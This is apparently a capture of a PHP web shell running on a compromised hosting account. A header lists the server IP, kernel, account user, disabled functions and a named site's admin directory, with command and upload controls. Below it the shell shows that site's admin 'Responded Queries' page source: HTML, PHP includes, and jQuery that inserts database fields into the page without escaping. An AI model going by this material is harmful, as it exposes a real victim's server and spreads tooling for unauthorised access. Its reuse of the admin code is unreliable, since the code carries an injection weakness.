|
Server IP : 82.112.239.40 / Your IP : 13.58.149.106 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/cabz4you.com/public_html/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<style>
.btn .tooltiptext1 {
visibility: hidden;
width: 60px;
background-color: black;
color: #fff;
text-align: center;
border-radius: 20px;
padding: 5px 0;
/* Position the tooltip */
position: absolute;
z-index: 1;
}
.btn .tooltiptext2 {
visibility: hidden;
width: 60px;
background-color: black;
color: #fff;
text-align: center;
border-radius: 20px;
padding: 5px 0;
/* Position the tooltip */
position: absolute;
z-index: 1;
}
.btn1:hover .tooltiptext1 {
visibility: visible;
}
.btn2:hover .tooltiptext2 {
visibility: visible;
}
</style>
</html>
<?php
require_once 'header.php';
require_once 'navbar.php';
?>
<!-- Page content -->
<div class="container-fluid pt-8">
<div class="page-header mt-0 p-3">
<h3 class="mb-sm-0">RESPONDED QUERIES</h3>
</div>
<div id="alert2" class="col-md-12"></div>
<!-- Table -->
<div class="row">
<div class="col-12">
<div class="card shadow">
<div class="card-header bg-transparent border-0">
<h2 class=" mb-0">Queries Details</h2>
</div>
<div class="">
<div class="grid-margin">
<div class="">
<div class="table-responsive">
<table class="table card-table table-vcenter text-nowrap align-items-center">
<thead class="thead-dark">
<tr>
<th style="width: 80px">#</th>
<th>Name</th>
<th>Subject</th>
<th>Message</th>
</tr>
</thead>
<tbody id="queries">
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--Detail Modal-->
<div class="modal fade" id="modal-details">
<div class="modal-dialog">
<div class="modal-content">
<div class="card-header">
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
<h4 style="text-align: left">Details</h4>
</div>
<form method="post" enctype="multipart/form-data">
<div class="modal-body">
<div class="row">
<div class="col-md-6">
<label>Name</label><input type="text" class="form-control" name="name" id="name" maxlength="65" disabled>
</div>
<div class="col-md-6">
<label>Email</label><input type="text" class="form-control" name="mail" id="mail" maxlength="65" disabled>
</div>
<div class="col-md-6">
<label>Contact</label><input type="text" class="form-control" name="contact" id="contact" maxlength="65" disabled>
</div>
<div class="col-md-6">
<label>Subject</label><input type="text" class="form-control" name="subject" id="subject" maxlength="65" disabled>
</div>
<div class="col-md-12">
<br/><label>Message</label><textarea style="resize:none" class="form-control" name="message" id="message" maxlength="65" disabled></textarea>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
<?php
require_once 'footer.php';
require_once 'jslinks.php';
?>
<script>
//FETCHING PENDING QUERIES FROM DATABASE
function output()
{
var value = '';
var i = 1;
$("#global-loader").show();
$.ajax({
url: "queries_ajax.php",
type: "POST",
data: {
responded: 1,
},
success: function (data) {
alert(data);
$("#global-loader").fadeOut();
queries_data=$.parseJSON(data);
$.each(queries_data, function (key, data) {
value+=`<tr>
<td>${i}</td>
<td><button id="name${i}" value="${i}" type="button" data-toggle="modal" data-target="#modal-details" onclick="check(this.value)" style="border:none;background-color:white;">${data.full_name}</button>
<input type="hidden" id="email${i}" value="${data.email}">
<input type="hidden" id="contact${i}" value="${data.contact}">
</td>
<td id="subject${i}">${data.subject}</td>
<td id="message${i}">${data.message}</td>
</tr>`;
i++;
})
$('#queries').html(value);
}
})
}
//SHOWING DATA IN DETAILS MODAL
function check(str)
{
var name=document.getElementById("name"+str).innerHTML;
var email=document.getElementById("email"+str).value;
var subject=document.getElementById("subject"+str).innerHTML;
var contact=document.getElementById("contact"+str).value;
var message=document.getElementById("message"+str).innerHTML;
document.getElementById('name').value=name;
document.getElementById('mail').value=email;
document.getElementById('contact').value=contact;
document.getElementById('subject').value=subject;
document.getElementById('message').value=message;
}
</script>